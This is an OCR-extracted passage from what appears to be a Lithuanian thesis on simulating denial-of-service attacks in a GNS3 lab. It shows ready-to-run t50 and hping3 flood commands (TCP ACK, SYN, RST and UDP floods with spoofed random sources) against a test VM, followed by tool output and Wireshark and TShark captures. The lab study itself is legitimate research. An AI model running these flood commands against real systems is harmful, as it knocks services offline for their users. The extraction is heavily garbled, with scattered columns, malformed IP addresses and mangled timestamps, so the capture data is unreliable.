Daylight Time
Apr
Daylight Time
Apr
Daylight Time
Apr
Daylight Time

22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,
22,

22,

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

2024

5 lentelé Surinkti ICMP atakos duomenys naudojant TShark

21:29:53.392187000

21:29:53.392210000

21:29:53.392226000

21:29:53.392240000

21:29:53.392256000

21:29:53.392269000

21:29:53.392290000

21:29:53.392296000

21:29:53.392311000

21:29:53.392318000

21:29:53.392332000

21:29:53.392347000

21:29:53.392352000

21:29:53.392366000

21:29:53.392380000

21:29:53.392401000

21:29:53.392403000

21:29:53.392908000

21:29:53.392947000

21:29:53.392986000

21:29:53.393025000

21:29:53.393064000

21:29:53.393103000

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

FLE

9.8.127.164

192.168.67.129

77.91.38.3

192.168.67.129

199.88.102.40

192.168.67.129

192.168.67.129

252.68.121.91

192.168.67.129

108.25.39.165

192.168.67.129

231.220.5.40

192.168.67.129

138.229.222.192

192.168.67.129

229.212.18.64

192.168.67.129

246.169.12.199

255.168.65.188

36.9.135.254

77.230.86.104

43.185.104.202

132.79.18.254

192.168.67.129

77.77.155.22

192.168.67.129

199.147.165.92

192.168.67.129

220.229.18.206

102.209.211.43

192.168.67.129

198.111.22.9

192.168.67.129

188.88.230.57

192.168.67.129

40.108.30.109

192.168.67.129

158.141.11.220

192.168.67.129

140.212.158.209

192.168.67.129

192.168.67.129

192.168.67.129

192.168.67.129

192.168.67.129

192.168.67.129

Auks¢iau esancioje lenteléje: ,,lentelé5“ buvo surinkti ICMP atakos duomenys naudojant

TShark®. Nurodoma, kad pirmajame stulpelyje yra pazyméti laikai, antrajame siuntéjo IP adresas,

treCiajame gavéjo IP adresas, o ketvirtajame nurodomas ICMP protokolo veiksmas. Lenteléje

pazyméti 0 yra atsakymai | ICMP uzklausas, o 8 reiSkia siun¢iamas uzklausas i§ virSuje esanciy

duomeny. Galima teigti, kad ataka buvo sékminga kai atakuojamojo serveris nebesiunté atgal

atsakymuy.
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4.3.2. TCP ACK uZztvindymo ataka

Siai atakai buvo panaudotas — t50 jrankis.

Komandiné atakos eiluté:

sudo t50 192.168.67.129 --flood --protocol TCP --ack --port 80 —turbo

~

[INFO]
[INFO]
[INFO]

[INFO]
[INFO]
[INFO]
[INFO]

... [INFO

] Turbo mode actiw

4.3 pav. TCP ACK atakos paleidimas

Kai reikia naudoti t50 ataky jrank]j, per atakos laikotarpj buvo issiysti 13211860 paketai. 4.3

pav.

Atakos srautas per WireShark:

.854210
.854214
.854231
.854236
-854250
.854263
.854270
- 854299
.854300
.854317
.854333
.854337
.854348
.854363

.854386
.854389
- 854409
.854417
.854431
.854435
.854454

.854478
248 17.854502
.854508
.854524
. 854527
.854547
.854558

.854575
.854594
.854594
258 17.854624
.854624

192.168.67.129 65.161.116.

19.184.107.34

192.168.67.129

2.35.81.220

192.168.67.129

135.61.209.91 .168.67.129

192.168. 19.209.2.7

192.168. 6.114.156.88

202.217. 192.168.67.129

192.168.67.129 19.184.107.34

192.168.67.128 2.35.81.220
.168.67.129
.61.2089.91
.168.67.129
.217.235.147

192.168.
196.166.
192.168.
149.161.
192.168.
218.183.

116.35.227
167.77.153.175 192.168.67.129

192.168.67.

8.73.234.7

192.168.67.

4.63.202.87

192.168.67.129 167.77.153.
192.168.67.129 70.137.104.
210.126.171.130 192.168.67.
132.24.91.92 192.168.67.129
192.168.67.129 8.73.234.7

3876

3881

3059

3061

3862

3063
3064

3065
3066

3067

3068

3069

3070

3071

-+ 80
3073

3874

3075

3076
3077

-+ 80
3078

[ACK]

Win=0

Win=512

Win=512

Win=512

Win=0
Win=08

Win=0
Win=0

Win=512

Win=512

Win=512

Win=512

Win=0
Win=0

Ack=1
Win=0

Win=512

Win=512

Win=512

Win=512
Win=512

Win=512

Win=512

Win=512

Win=512
Win=512

Len=0

Len=0

4.4 pav. TCP ACK atakos duomenys WireShark

IS virSuje esanciy duomeny 4.4 pav. sunku pasakyti ar ataka buvo pilnai sékminga, nes

kazkokiy tai anomalijy sraute nebuvo. Pastebéta tik, kad j uzklausas serveris atsakinéjo
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6 lentelé. Surinkti TCP ACK atakos duomenys naudojant TShark

Apr 28, 2024 00:47:51.542840000 FLE Daylight Time
Apr 28, 2024 00:47:51.542862000 FLE Daylight Time
Apr 28, 2024 00:47:51.542879000 FLE Daylight Time
Apr 28, 2024 00:47:51.542903000 FLE Daylight Time
Apr 28, 2024 00:47:51.542916000 FLE Daylight Time
Apr 28, 2024 00:47:51.542928000 FLE Daylight Time
Apr 28, 2024 00:47:51.542945000 FLE Daylight Time
Apr 28, 2024 00:47:51.542955000 FLE Daylight Time
Apr 28, 2024 00:47:51.542984000 FLE Daylight Time
Apr 28, 2024 00:47:51.542988000 FLE Daylight Time
Apr 28, 2024 00:47:51.543016000 FLE Daylight Time
Apr 28, 2024 00:47:51.543022000 FLE Daylight Time
Apr 28, 2024 00:47:51.543047000 FLE Daylight Time
Apr 28, 2024 00:47:51.543056000 FLE Daylight Time
Apr 28, 2024 00:47:51.543076000 FLE Daylight Time
Apr 28, 2024 00:47:51.543078000 FLE Daylight Time
Apr 28, 2024 00:47:51.543095000 FLE Daylight Time
Apr 28, 2024 00:47:51.543106000 FLE Daylight Time
Apr 28, 2024 00:47:51.543111000 FLE Daylight Time

227.227.206.176
192.168.67.129
36.99.77.153
192.168.67.129
199.87.142.10
192.168.67.129
70.61.187.130
192.168.67.129
192.168.67.129
0.210.89.177
254.231.15.9
192.168.67.129
137.72.53.7
192.168.67.129
192.168.67.129
27.111.130.171
192.168.67.129
161.132.163.212
192.168.67.129

192.168.67.129
16.27.225.217
192.168.67.129
35.130.3.72
192.168.67.129
161.195.197.182
192.168.67.129
110.42.116.246
8.19.138.6
192.168.67.129
192.168.67.129
185.209.167.56
192.168.67.129
47.83.110.2
76.24.116.253
192.168.67.129
147.130.209.110
192.168.67.129
240.209.9.122

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

TRUE
FALSE
TRUE
FALSE
TRUE
FALSE
TRUE
FALSE
FALSE
TRUE
TRUE
FALSE
TRUE
FALSE
FALSE
TRUE
FALSE
TRUE
FALSE

FALSE
TRUE
FALSE
TRUE
FALSE
TRUE
FALSE
TRUE
TRUE
FALSE
FALSE
TRUE
FALSE
TRUE
TRUE
FALSE
TRUE
FALSE
TRUE

VirSuje esancioje lenteléje ,,lentelé 6, buvo surinkti duomenys naudojant WireShark. Yra

nurodyta, kad pirmame stulpelyje yra laikas, antrame siuntéjo IP adresas, tre¢iame gavéjo IP adresas,

ketvirtame protokolas, penktame tcp ack, o Sestame stulpelyje tcp rst.

Kai penktame stulpelyje yra TRUE tai reiskia, kad tuo metu buvo issiysti tcp ack paketai,

kai sestame stulpelyje yra TRUE tai reiskia, kad gavéjas iSsiunté tcp rst paketa. IS duomeny kurie yra

gauti néra aiSku ar ataka pavyko pilnai ir buvo sustabdytas serverio veikimas.

Gyvi serverio parametrai:

4.3.3. TCP SYN uZtvindymo ataka

TCP SYN uztvindymo ataka: sudo hping3 -S -p 80 --flood --rand-source 192.168.67.129

[sudo] password for kali:
PING 192.168.67.129 (eth® 192.168.67.129):

ping in flood mode, no replies will be shown
C
— 192.168.67.129 hping statistic —
776401 packets transmitted, @ packets received,

round-trip min/avg/max

4.5 pav. TCP SYN atakos paleidimas

0.0/0.0/0.0 ms

S set,

192.168.67.129

100% packet loss

40 headers + 0 data by
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VirSuje esanti ekrano nuotrauka 4.5 pav. nurodo atakos statistika, taip pat rodo, kad per

atakos laikg buvo i8siysti 2776401 paketai, 0 gauty atgal pakety 0, dél to nes hping3 yra skirta naudoti

netikrus IP adresus.

Atakos srautas per WireShark:

2542 811.493712
2543 811.493878
2544 811.494515

217.143.121.223
192.168.67.129
217.143.121.223
48.60.192.119

2545 811.494658

192.168.67 .
217.143.121.223
192.168.67.
192.168.67 .

129

129
129

2546 811.494729 192.168.67.129 48.60.192.119
2547 811.495066 48.60.192.119 192.168.67.129
2548 811.496225 231.85.235.212 192.168.67.129
2549 811.497756 55.215.88.93 192.168.67.129
2550 811.497838 192.168.67.129 55.215.88.93
2551 811.498041 55.215.88.93 192.168.67.
2552 811.499764 89.111.175.206 192.168.67.129
2553 811.499825 34.121.148.236 192.168.67.129
2554 811.499843 192.168.67.129 89.111.175.206
2555 811.499880 192.168.67.129 34.121.148.236

2556 811.500025
2557 811.5080041
2558 811.501121
2559 811.501188
2560 811.

2561 811.502235
2562 811.502311
2563 811.502322
2564 811.503750
2565 811.5683822
2566 811.504062

89.111.175.
34.121.148.
68.241.66.158
192.168.67.129
68.241.66.158
25.214.22.219
192.168.67.129
25.214.22.219
£66.86.130.197
192.168.67.129
66.86.130.197

2567 811.504923 239.156.54.7 192.168.67.
2568 811.506395 240.174.36.138 192.168.67.
2569 811.506472 192.168.67.129 2408.174.30.
2570 811.5087923 130.221.24.96 192.168.67.
2571 811.587995 192.168.67.129 138.221.24.

2572 811.508218

192.168

2573 811.509452

2574 811.509519 192.168.67.129

192.168.67.
192.168.67.
192.168.67 .
68.241.66.158
192.168.67.
192.168.67.
25.214.22.219
192.168.67.
192.168.67.
66.86.130.197
192.168.67.

37.221.146.172 192.168.67.
37.221.146.

129

129
129

129
129

129
129
138

129
96

129
172

TCP
TCP

TCP
TCP

TCP
TCP
TCP

TCP
TCP
TCP
TCP

TCP
TCP

TCP
TCP

TCP
TCP

TCP
TCP
TCP
TCP
TCP

TCP
TCP

54 1528 > 80 [SYN]
60 80 - 1528 [SYN,

54 1528 -» 8@

54 1529 - 80 [SYN]
66 80 ~ 1529 [SYN,
54 1529 » 830 [RST]
54 1530 > 80 [SYN]
54 1531 > 88 [SYN]
60 89 1531 [SYN,

54 1531 -+ 8@

54 1532 » 30 [5YN]
54 1533 + 80 [SYN]
66 89 ~ 1532 [SYN,
56 88 > 1533 [SYN,
54 1532 > 80 [RST] S
54 1533 > 80 [RST] S
54 1534 80 [SYN]
60 80 ~ 1534 [SYN,

54 1534 -» 8@

54 1535 + 80 [SYN]
66 89 ~ 1535 [SYN,
54 1535 > 86 [RST]
54 1536 > 80 [SYN]
66 89 ~ 1536 [SYN,

54 1536 + 8@

54 1537 > 80 [SYN]
54 1538 > 86 [SYN]
50 89 + 1538 [SVN,
54 1539 > 86 [SYN]
56 89 > 1539 [SYN,
54 1539 > 80 [RST]
54 1540 > 8@ [SYN]

Seq=@ Win=512 Len=8
ACK] Seq=8 Ack=1 Win=64240
Seq=1 Win=32767 Len=0
Seq=@ Win=512 Len=8
ACK] Seg=8 Ack=1 Win=642480
Seq=1 Win=32767 Len=0
5eq=0 Win=512 Len=0
5eq=0 Win=512 Len=0
ACK] Seq=0 Ack=1 Win=64248@
Seq=1 Win=32767 Len=0
Seq=0 Win=512 Len=0
Seq=@ Win=512 Len=8
ACK] Seg=8 Ack=1 Win=642480
ACK] Seq=6 Ack=1 Win=64240

Seq=@ Win=512 Len=8
ACK] Seq=0 Ack=1 Win=64240
Seq=1 Win=32767 Len=6
Seq=0 Win=512 Len=8

ACK] Seq=6 Ack=1 Win=64240
Seq=1 Win=32767 Len=6
Seq=0 Win=512 Len=0

ACK] Seq=6 Ack=1 Win=64249
Seq=1 Win=32767 Len=0
Seq=0 Win=512 Len=0

Seq=0 Win=512 Len=@

ACK] Seq=0 Ack=1 Win=64248
Seq=@ Win=512 Len=@
ACK] Seq=6 Ack=1 Win=64240
Seq=1 Win=32767 Len=0
Seq=0 Win=512 Len=0

60 80 + 1540 [SYN, ACK] Seq=0 Ack=1 Win=64240

Len=0 MSS=1460

Len=8 MS5=1460

Len=@ MS5=1460

Len=8 MS5=1460
Len=0 MS5=1460

Len=@ MSS=1460

Len=8 MS5=1460

Len=8 MS5=1460

Len=0 MSS5=1460

Len=@ MS5=1460

Len=0 MSS5=1460

4.6 pav. TCP SYN atakos duomenys WireShark

VirSuje esancioje ekrano nuotraukoje ,,TCP SYN atakos duomenys Wireshark“ atakos

pradzioje dar galima matyti kaip serveris laiku atsakingja j uzklausas ir susitvarko su jy esamu srautu.

Galiausiai pasimato, kad serveris nebespéja susitvarkyti su ateinanc¢iomis uzklausomis ir

pradeda siysti TCP Retrasmission kuris reiSkia, kad paketai gali biiti pamesti ar nepriimti per tam

tikra laika.

7 lentelé. Surinkti TCP SYN atakos duomenys naudojant TShark

Apr 28, 2024 02:44:14.465660000 FLE Daylight Time
Apr 28, 2024 02:44:14.465677000 FLE Daylight Time
Apr 28, 2024 02:44:14.466744000 FLE Daylight Time
Apr 28, 2024 02:44:14.466817000 FLE Daylight Time
Apr 28, 2024 02:44:14.467936000 FLE Daylight Time
Apr 28, 2024 02:44:14.468014000 FLE Daylight Time
Apr 28, 2024 02:44:14.468028000 FLE Daylight Time
Apr 28, 2024 02:44:14.469432000 FLE Daylight Time
Apr 28, 2024 02:44:14.469490000 FLE Daylight Time
Apr 28, 2024 02:44:14.469502000 FLE Daylight Time
Apr 28, 2024 02:44:14.470951000 FLE Daylight Time
Apr 28, 2024 02:44:14.472529000 FLE Daylight Time
Apr 28, 2024 02:44:14.472592000 FLE Daylight Time
Apr 28, 2024 02:44:14.472607000 FLE Daylight Time
Apr 28, 2024 02:44:14.473994000 FLE Daylight Time
Apr 28, 2024 02:44:14.474069000 FLE Daylight Time

192.168.67.129
66.37.239.224
247.47.215.132
192.168.67.129
179.84.121.174
192.168.67.129
179.84.121.174
61.21.175.222
192.168.67.129
61.21.175.222
235.151.140.38
20.35.86.119
192.168.67.129
20.35.86.119
54.26.231.131
192.168.67.129

66.37.239.224
192.168.67.129
192.168.67.129
247.47.215.132
192.168.67.129
179.84.121.174
192.168.67.129
192.168.67.129
61.21.175.222
192.168.67.129
192.168.67.129
192.168.67.129
20.35.86.119
192.168.67.129
192.168.67.129
54.26.231.131

TCP
TCcP
TCcP
TCP
TCP
TCcP
TCcP
TCP
TCP
TCcP
TCcP
TCP
TCP
TCcP
TCcP
TCP

TRUE
FALSE
TRUE
TRUE
TRUE
TRUE
FALSE
TRUE
TRUE
FALSE
TRUE
TRUE
TRUE
FALSE
TRUE
TRUE

TRUE
FALSE
FALSE
TRUE
FALSE
TRUE
FALSE
FALSE
TRUE
FALSE
FALSE
FALSE
TRUE
FALSE
FALSE
TRUE

FALSE
TRUE

FALSE
FALSE
FALSE
FALSE
TRUE

FALSE
FALSE
TRUE

FALSE
FALSE
FALSE
TRUE

FALSE
FALSE
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Apr 28, 2024 02:44:14.474082000 FLE Daylight Time 54.26.231.131 192.168.67.129 TCP  FALSE FALSE TRUE
Apr 28, 2024 02:44:14.475518000 FLE Daylight Time 175.174.150.143 192.168.67.129 TCP TRUE  FALSE FALSE
Apr 28, 2024 02:44:14.475591000 FLE Daylight Time 192.168.67.129 175.174.150.143 TCP  TRUE TRUE  FALSE
Apr 28, 2024 02:44:14.475605000 FLE Daylight Time 175.174.150.143 192.168.67.129 TCP  FALSE FALSE TRUE
Apr 28, 2024 02:44:14.477036000 FLE Daylight Time 74.156.206.231 192.168.67.129 TCP TRUE  FALSE FALSE
Apr 28, 2024 02:44:14.477107000 FLE Daylight Time 192.168.67.129 74.156.206.231 TCP TRUE TRUE  FALSE
Apr 28, 2024 02:44:14.477118000 FLE Daylight Time 74.156.206.231 192.168.67.129 TCP  FALSE FALSE TRUE
Apr 28, 2024 02:44:14.479088000 FLE Daylight Time 108.148.148.20 192.168.67.129 TCP TRUE  FALSE FALSE
Apr 28, 2024 02:44:14.479147000 FLE Daylight Time 116.105.204.193 192.168.67.129 TCP TRUE  FALSE FALSE
Apr 28, 2024 02:44:14.479169000 FLE Daylight Time 192.168.67.129 108.148.148.20 TCP  TRUE TRUE  FALSE
Apr 28, 2024 02:44:14.479182000 FLE Daylight Time 108.148.148.20 192.168.67.129 TCP  FALSE FALSE TRUE
Apr 28, 2024 02:44:14.479222000 FLE Daylight Time 192.168.67.129 116.105.204.193 TCP  TRUE TRUE  FALSE

VirSuje pavaizduotoje lenteléje ,,Surinkti TCP SYN atakos duomenys naudojant TShark*

rodoma kad, pirmame stulpelyje yra laikas, antrame siuntéjo IP adresas, treCiame gavéjo IP adresas,

ketvirtame protokolas, penktame tcp syn, Sestame tcp ack, septintame tcp rst. Penktasis stulpelis yra

skirtas simbolizuoti ry$io sukiirima tarp siuntéjo ir gavéjo. Sestasis stulpelis §j rysj patvirtina, o

septintasis stulpelis rysio nutrukima. I$ surinkty duomeny galima teigti, kad ataka buvo sékminga nes

serveris nebesusitvarké su esan¢iomis uzklausomis ir pradéjo siysti tcp rst paketus.

Gyvi kompiuterio parametrai:

4.3.4. TCP RST uztvindymo ataka.

TCP RST uztvindymo ataka atlikta su hping3 atakavimo jrankiu.

Atakos komandin¢ eiluté: sudo hping3 --rand-source -R -p 80 192.168.67.129 —flood

— ) ~

C

— 192.168.67.129 hping statistic —

5377643 packets transmitted, @ packets received,

round-trip min/avg/max = 0.0/0.0/0.0 ms

sudo hping3 rand-sour ) 80 192.168.67.129
HPING 192.168.67.129 (eth® 192.168.67.129): R set,
hping in flood mode, no replies will be shown

100% packet loss

4.7 pav. TCP RST atakos paleidimas

40 headers + @ data bytes

4.7 pav. Nuotraukoje vaizduojama atakos statistika rodo, kad per atakos laika buvo issiysti

5377643 pakety, 0 gauti atgal paketai — 0 dél to nes hping3 naudoja netikrus IP adresus.
Atakos srautas per WireShark:
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128

TP
Tcp 54 11
TP 54 1208

4.8 pav. TCP RST atakos duomenys WireShark

IS WireShark ekrano nuotraukos 4.8 pav. yra pastebéta, kad atakuotojas nesulauké jokio

atsako i8 serverio, kas yra keista nes serveris turéty reaguoti j siun¢iamas RST uzklausas ir paklausti

ar nutiko kokia nors klaida.

8 lentelé.Surinkti TCP RST atakos duomenys naudojant TShark

Apr 28, 2024 03:32:51.568386000 FLE Daylight Time
Apr 28, 2024 03:32:51.568389000 FLE Daylight Time
Apr 28, 2024 03:32:51.568419000 FLE Daylight Time
Apr 28, 2024 03:32:51.568423000 FLE Daylight Time
Apr 28, 2024 03:32:51.568453000 FLE Daylight Time
Apr 28, 2024 03:32:51.568457000 FLE Daylight Time
Apr 28, 2024 03:32:51.568487000 FLE Daylight Time
Apr 28, 2024 03:32:51.568491000 FLE Daylight Time
Apr 28, 2024 03:32:51.568522000 FLE Daylight Time
Apr 28, 2024 03:32:51.568526000 FLE Daylight Time
Apr 28, 2024 03:32:51.568557000 FLE Daylight Time
Apr 28, 2024 03:32:51.568561000 FLE Daylight Time
Apr 28, 2024 03:32:51.568592000 FLE Daylight Time
Apr 28, 2024 03:32:51.568595000 FLE Daylight Time
Apr 28, 2024 03:32:51.568652000 FLE Daylight Time
Apr 28, 2024 03:32:51.568657000 FLE Daylight Time
Apr 28, 2024 03:32:51.568690000 FLE Daylight Time
Apr 28, 2024 03:32:51.568694000 FLE Daylight Time
Apr 28, 2024 03:32:51.568727000 FLE Daylight Time
Apr 28, 2024 03:32:51.568731000 FLE Daylight Time
Apr 28, 2024 03:32:51.568762000 FLE Daylight Time
Apr 28, 2024 03:32:51.568767000 FLE Daylight Time
Apr 28, 2024 03:32:51.568797000 FLE Daylight Time

234.122.196.130
229.38.151.216
195.150.136.141
2.7.109.67
75.167.78.16
127.203.90.195
43.43.208.65
86.66.87.195
103.38.119.241
196.184.238.186
184.181.121.120
86.87.250.2
241.145.254.192
225.184.16.192
151.87.193.65
20.3.78.195
84.255.250.204
61.182.163.239
205.222.108.201
33.7.150.181
177.217.1.67
120.192.66.201
196.173.7.202

192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129
192.168.67.129

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE
TRUE

I§ pateiktos lentelés virSuje — ,,lentelé 8 Surinkti TCP RST atakos duomenys naudojant

TShark® pastebéta, kad pirmame stulpelyje yra laikas, antrame siuntéjo IP adresas, treCiame gavéjo
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IP adresas, ketvirtame protokolas, penktame stulpelyje tai tcp rst. IS pateikty duomeny virSuje galima
teigti, kad ataka buvo sékminga nes serveris nesiuncia jokiy paketu tai gali rodyti, kad jis yra

pakankamai uzkrautas.

4.3.5. UDP uztvindymo ataka

TCP RST uztvindymo ataka atlikta su hping3 atakavimo jrankiu. Atakos komandiné eiluté:
sudo hping3 -2 -p 53 --flood --rand-source 192.168.67.129

— J =1~

= 2 —p 53 —flooc 192.168.67.129

HPING 192.168.67.129 (eth® 192.168.67.129): udp mode set, 28 headers + 0 data
bytes
hping in flood mode, no replies will be shown

C

— 192.168.67.129 hping statistic —

3104240 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

4.9 pav. UDP atakos pradzia

Virsuje esanti 4.9 pav.UDP atakos pradzia“ atakos statistika rodo, kad per atakos laikg buvo
i8siysti 5377643 paketai, o0 gauti atgal 0 dél to nes hping3 naudoja netikrus IP adresus.
Atakos srautas per WireShark:

217 51.880006 48.154.153.155 192.168.67.129 uppP 42 1393
218 51.880041 226.233.175.64 192.168.67.129 uppP 42 1394
219 51.880067 226.174.71.178 192.168.67.129 uppP 42 1395

53 Len=0@
53 Len=0@
53 Len=08

191 51.87924e 251.165.246.14@ 192.168.67.129 uppP 42 1367 = 53 Len=0
192 51.879277 226.1.60.173 192.168.67.129 uppP 42 1368 » 53 Len=0
193 51.879305 25.243.52.37 192.168.67.129 ubpP 42 1369 » 53 Len=0
194 51.87934e 33.48.5.174 192.168.67.129 uppP 42 1370 > 53 Len=0
195 51.879366 49.81.71.53 192.168.67.129 uppP 42 1371 » 53 Len=0
196 51.879403 124 .157.197.15 192.168.67.129 ubpP 42 1372 -+ 53 Len=0
197 51.879425 127.5.1606.221 192.168.67.129 ubpP 42 1373 » 53 Len=0
198 51.879453 247.118.14.117 192.168.67.129 UDP 42 1374 - 53 Len=0@
199 51.879472 43.247.32.148 192.168.67.129 uppP 42 1375 » 53 Len=@
208 51.879504 105.221.25.183 192.168.67.129 ubprP 42 1376 = 53 Len=@
201 51.879533 16.8.191.251 192.168.67.129 ubpP 42 1377 » 53 Len=@
202 51.879565 115.206.98.118 192.168.67.129 uppP 42 1378 > 53 Len=0
203 51.879585 24.70.87.134 192.168.67.129 ubpP 42 1379 > 53 Len=0
204 51.879612 63.70.1409.1306 192.168.67.129 uppP 42 1380 » 53 Len=0
205 51.879631 234.230.1408.175 192.168.67.129 ubpP 42 1381 » 53 Len=0
206 51.879657 83.231.136.122 192.168.67.129 uppP 42 1382 » 53 Len=0
207 51.879681 49.213.130.239 192.168.67.129 uppP 42 1383 » 53 Len=0
208 51.879722 140.178.30.389 192.168.67.129 ubpP 42 1384 » 53 Len=@
209 51.879762 20.1395.224 .48 192.168.67.129 ubpP 42 1385 » 53 Len=0
21e 51.879791 71.197.51.213 192.168.67.129 UDP 42 1386 -+ 53 Len=0@
211 51.879832 154.173.134.19 192.168.67.129 uppP 42 1387 » 53 Len=@
212 51.879854 224.5.213.163 192.168.67.129 ubprP 42 1388 - 53 Len=0
213 51.879881 171.162.71.12 192.168.67.129 ubpP 42 1389 —» 53 Len=@
214 51.879906 115.255.139.122 192.168.67.129 uppP 42 1390 > 53 Len=0
215 51.879944 215.163.87.252 192.168.67.129 ubpP 42 1391 > 53 Len=0
216 51.879981 166.138.211.156 192.168.67.129 ubpP 42 1392 -+ 53 Len=0

-

>

=

4.10 pav. UDP atakos duomenys WireShark

9 lentelé. Surinkti UDP atakos duomenys naudojant TShark

Apr 28, 2024 04:27:16.038974000 FLE Daylight Time 170.134.72.244 192.168.67.129 ubp 1178 53
Apr 28, 2024 04:27:16.039008000 FLE Daylight Time 25.174.134.80 192.168.67.129 ubp 1179 53
Apr 28, 2024 04:27:16.039013000 FLE Daylight Time 64.252.87.126 192.168.67.129 uUbpP 1180 53
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Apr 28, 2024 04:27:16.039048000 FLE Daylight Time 211.213.82.122 192.168.67.129 ubp 1181 53
Apr 28, 2024 04:27:16.039053000 FLE Daylight Time 235.224.211.246 192.168.67.129 ubp 1182 53
Apr 28, 2024 04:27:16.039086000 FLE Daylight Time 191.129.142.200 192.168.67.129 ubp 1183 53
Apr 28, 2024 04:27:16.039092000 FLE Daylight Time 239.131.71.98 192.168.67.129 ubp 1184 53
Apr 28, 2024 04:27:16.039127000 FLE Daylight Time 47.149.48.115 192.168.67.129 ubp 1185 53
Apr 28, 2024 04:27:16.039133000 FLE Daylight Time 115.71.40.13 192.168.67.129 ubp 1186 53
Apr 28, 2024 04:27:16.039169000 FLE Daylight Time 134.154.82.243 192.168.67.129 ubp 1187 53
Apr 28, 2024 04:27:16.039175000 FLE Daylight Time 171.246.105.251 192.168.67.129 ubp 1188 53
Apr 28, 2024 04:27:16.039215000 FLE Daylight Time 42.138.145.14 192.168.67.129 ubp 1189 53
Apr 28, 2024 04:27:16.039221000 FLE Daylight Time 247.96.234.111 192.168.67.129 ubp 1190 53
Apr 28, 2024 04:27:16.039257000 FLE Daylight Time 44.123.44.104 192.168.67.129 ubp 1191 53
Apr 28, 2024 04:27:16.039262000 FLE Daylight Time 251.84.24.11 192.168.67.129 ubp 1192 53
Apr 28, 2024 04:27:16.039297000 FLE Daylight Time 186.246.149.92 192.168.67.129 ubp 1193 53
Apr 28, 2024 04:27:16.039302000 FLE Daylight Time 124.226.136.110 192.168.67.129 ubp 1194 53
Apr 28, 2024 04:27:16.039341000 FLE Daylight Time 150.191.130.163 192.168.67.129 ubp 1195 53
Apr 28, 2024 04:27:16.039347000 FLE Daylight Time 20.163.206.63 192.168.67.129 ubpP 1196 53
Apr 28, 2024 04:27:16.039385000 FLE Daylight Time 199.148.212.247 192.168.67.129 ubp 1197 53

VirSuje pateiktoje lenteléje ,,lentelé 9 Surinkti UDP atakos duomenys naudojant TShark*
vaizduojama — Pirmame stulpelyje laikas, antrame siuntéjo IP adresas, treCiame gavéjo IP adresas,
ketvirtame protokolas, penktame siuntéjo prievadas ir SeStame gavéjo prievadas. I§ turimy duomeny

negalime buti tikri, kad ataka suveiké nes gavéjas nesiuncia jokiu tai patvirtanciu zenkly.

4.4. Eksperimentinés dalies iSvados

1.Reikéjo iSbandyti susisiekima tarp virtualiy masiny naudojant ping komanda.

2.Panaudoti nmap jrankj tam, kad surasti atvirus prievadus atakoms atlikti.

3.Isbandyti skirtingas atakas tokias kaip UDP uztvindymo, TCP RST uztvindymo,
ICMP uztvindymo, TCP ACK uzZtvindymo, TCP SYN uztvindymo. Visas norétas atakas pavyko
paleisti pries Ubuntu virtualiag masing su pasirinktais jrankiais.

4.Srauto stebé¢jimas su WireShark. Reikéjo stebéti pakety srautg ataky metu. IS vieny
ataky pavyko susirinkti pakankamai duomeny kurie skirti patvirtinti iy ataky sékme pries$ server;j. I3
kity ataky buvo gauta per mazai informacijos kuri galéty patvirtinti apie sekmingg atakos jvykdyma.
Taip gali buti dél to, kad fizinio kompiuterio resursai yra ganétinai riboti ir nepakako galios jvykdyti
Siy ataky pilnai.

5.Duomeny rinkimas su TShark. Buvo surinkti visi ataky duomenys pasiémus jau
jraytus duomenys i§ WireShark. Jie buvo issifiltruoti kompiuterio cmd lauke. Sie duomenys biity

labai naudingi masininiam mokymuisi.
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ISVADOS

1. Buvo isanalizuotos skirtingos DoS atakos, jy veikimas ir jy pasekmés. Apzvelgti skirtingi
ataky jgyvendinimo jrankiai.

2. Suprojektuotg simuliacing platformg DoS ataky simuliavimui reikia kurti sudarius Kali
Linux virtualiag masing i§ kurios buvo leidziamos skirtingos atakos. Ubuntu virtuali masina kuri buvo
naudojama kaip serveris ir prie$ ja iSbandomos skirtingos atakos. Naudojamas jau jrasytas | GNS3
WireShark duomeny stebéjimui atakos metu ir TShark duomeny rinkimui atakos metu.

3. Isbandytos skirtingos DoS atakos GNS3 simuliacinéje aplinkoje ir jvairus jrankiai joms
igyvendinti.

4. Istirtas ataky poveikis prie§ Ubuntu virtualiag masing naudojant WireShark kurio pagalba
atakos metu buvo galima stebéti kaip generuojamas pakety srautas i§ Kali Linux virtualios masinos
pries Ubuntu virtualiag masing. Taip pat yra rodomi skirtingi pakety prievadai, protokolai kurie yra
naudojami ataky ir rodomi atsakymai j $ias uzklausas. Duomeny rinkimui reikéjo panaudoti TShark

su kuriuo surinkus duomenis, véliau biity galima panaudoti masininiam mokymuisi.
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